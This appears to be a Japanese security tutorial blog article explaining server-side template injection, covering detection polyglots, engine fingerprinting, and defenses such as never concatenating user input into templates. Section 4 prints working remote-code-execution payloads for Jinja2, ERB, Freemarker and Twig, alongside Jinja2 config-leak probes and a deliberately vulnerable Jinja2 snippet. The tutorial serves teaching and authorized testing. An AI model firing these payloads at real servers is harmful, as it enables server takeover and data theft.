SSTI(サーバーサイドテンプレートインジェクション)は、Webアプリ脆弱性の中でも最も影響が大きいクラスの一つです。PortSwigger の定義通り「攻撃者がテンプレートのネイティブ構文で悪意あるペイロードを注入し、それがサーバー側で実行される」もので、しばしばリモートコード実行(RCE)——つまりサーバー乗っ取りに直結します。本記事は、その攻撃手法を公式に忠実に解説します。
絶対の前提: SSTIは容易にRCEへ至るため、極めて侵襲的です。実行は 合法ラボ または書面で許可されたスコープでのみ。本番でのRCE実証は影響が甚大なので、許可範囲と手順を依頼者と事前合意すること(→ 法律ガイド)。地図は ピラー。
1. SSTIの本質 — 入力を「コード」として連結する
テンプレートエンジン(Jinja2, Twig, Freemarker, ERB…)は、{{ name }} のようなプレースホルダを実データに差し替えてHTMLを生成します。問題は、ユーザー入力そのものをテンプレート文字列に連結してしまうとき。
# ❌ 脆弱:ユーザー入力 name をテンプレート「コード」に連結している(Jinja2)
from jinja2 import Template
output = Template("Dear " + request.args["name"]).render()
# └─ ここに {{7*7}} を入れると、サーバーが評価する
# ✅ 安全:入力は「データ」としてレンダ変数で渡す(テンプレートは固定)
output = Template("Dear {{ name }}").render(name=request.args["name"])
上の脆弱な例に name={{7*7}} を渡すと、出力は Dear 49。サーバー上でコードが評価された証拠です。
2. 検出 — ポリグロットと数式評価
PortSwigger の方法論は 検出 → エンジン特定 → 悪用 の3段。まず検出です。
2.1 ポリグロットで「壊す」
複数エンジンの特殊文字を一度に含むポリグロットを投げ、エラーや異常応答を観測します。
${{<%[%'"}}%\
これでエラー(例外・スタックトレース・500)が出れば、テンプレート処理に届いている可能性が高い。
2.2 文脈で数式を評価させる
PortSwigger は2つの文脈を区別します。
- プレーンテキスト文脈:出力にそのまま埋まる。
${7*7}や{{7*7}}を入れ、49が返れば確定。 - コード文脈:既存の式の中に入る(例
greeting=data.name)。まず式を閉じてから注入する(}}や"でブレイクアウト)。
# プレーンテキスト文脈
{{7*7}} → 49 なら Jinja2/Twig 系
${7*7} → 49 なら Freemarker/一部エンジン
<%= 7*7 %> → 49 なら ERB(Ruby)
#{7*7} → 49 なら 一部エンジン
3. エンジン特定 — 悪用ペイロードはエンジン依存
どのエンジンかで悪用方法が全く違うため、特定が悪用の鍵です。{{7*7}} と ${7*7} の効き方、エラーメッセージの文言、エンジン固有構文で切り分けます。
# 切り分けの例
{{7*7}} が 49、{{7*'7'}} が 7777777 → Jinja2(Python)
{{7*7}} が 49、{{7*'7'}} が 49 → Twig(PHP)
${7*7} が 49 → Freemarker(Java) / 一部
<%= 7*7 %> が 49 → ERB(Ruby)
エラーメッセージにライブラリ名(jinja2, Twig\Error 等)が出れば一発で特定できます。
4. 悪用 — 情報漏洩からRCEへ
4.1 Jinja2(Python)— オブジェクトグラフを辿る
Jinja2では、組み込みオブジェクトからサブクラスを辿って危険な関数(os.popen 等)へ到達します。
# 設定値や環境を覗く(情報漏洩)
{{ config }}
{{ config.items() }}
# RCEへ:サブクラス経由で OS コマンドを実行する古典的経路(概念・lab限定)
{{ ''.__class__.__mro__[1].__subclasses__() }} # 利用可能なクラスを列挙
{{ cycler.__init__.__globals__.os.popen('id').read() }} # コマンド実行
4.2 ERB(Ruby)/ Freemarker(Java)/ Twig(PHP)
# ERB(Ruby):素直にシステムコマンドを書ける
<%= system("id") %>
<%= `id` %>
# Freemarker(Java):実行系オブジェクトを生成
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
# Twig(PHP):フィルタ経由で関数呼び出し
{{ ['id'] | filter('system') }}
重要な視点: SSTIは一見「数式が評価されるだけ」に見えても、サーバー上で任意コードが走る点でXSSとは影響の桁が違います。
{{7*7}}=49を見た瞬間に「これはRCEになり得る」と判断するのがプロです。
5. 【守る側】根本対策
PortSwigger と OWASP の結論は明快です。
# ✅ 最大の対策:ユーザー入力を「テンプレート」にしない。常に「データ」で渡す
template = env.get_template("greeting.html") # テンプレートは固定の信頼済みファイル
html = template.render(name=user_input) # 入力は変数として注入されるだけ(安全)
設計原則:
- ユーザー入力をテンプレート文字列に連結しない(最重要)。入力は必ずレンダ変数=データとして渡す。
- ユーザーにテンプレート編集を許さない。どうしても必要なら:
- ロジックレスエンジン(Mustache 等)を使い、任意コード評価の余地を断つ。
- サンドボックス化(信頼できないテンプレートを隔離環境で評価)。ただしサンドボックス脱出の研究もあるため過信しない。
- 最小権限コンテナで隔離し、RCEが起きても被害を封じ込める。
- 多層防御:WAF・出力の監視・最小権限のプロセス実行。これらは「設計の代わり」ではなく保険。
SSTIは「機能としてテンプレートをユーザーに開放する」設計判断(メール文面のカスタマイズ等)と表裏一体です。**その機能が本当に必要か(YAGNI)**から問い直すのが、最も確実な防御になります。脅威モデリングで設計段階に潰す方法は STRIDE脅威モデリングガイド を参照。
6. まとめ
- 本質:ユーザー入力をテンプレートの「コード」として連結すると、サーバーでコードが評価される。
- 検出:ポリグロット
${{<%[%'"}}%\→ 数式{{7*7}}/${7*7}が49なら確定。 - エンジン特定が鍵:
{{7*'7'}}等で Jinja2/Twig/Freemarker/ERB を切り分ける。 - 悪用:オブジェクトグラフを辿りRCEへ。XSSと違いサーバー実行=影響甚大。
- 根本対策:入力をテンプレートにしない。必要ならロジックレス・サンドボックス・最小権限隔離。
これで本クラスタの主要な攻撃手法は一通りです。攻撃の理解を防御設計へ昇華させる流れは ピラー に戻って俯瞰し、実戦は バグバウンティ で合法に磨いてください。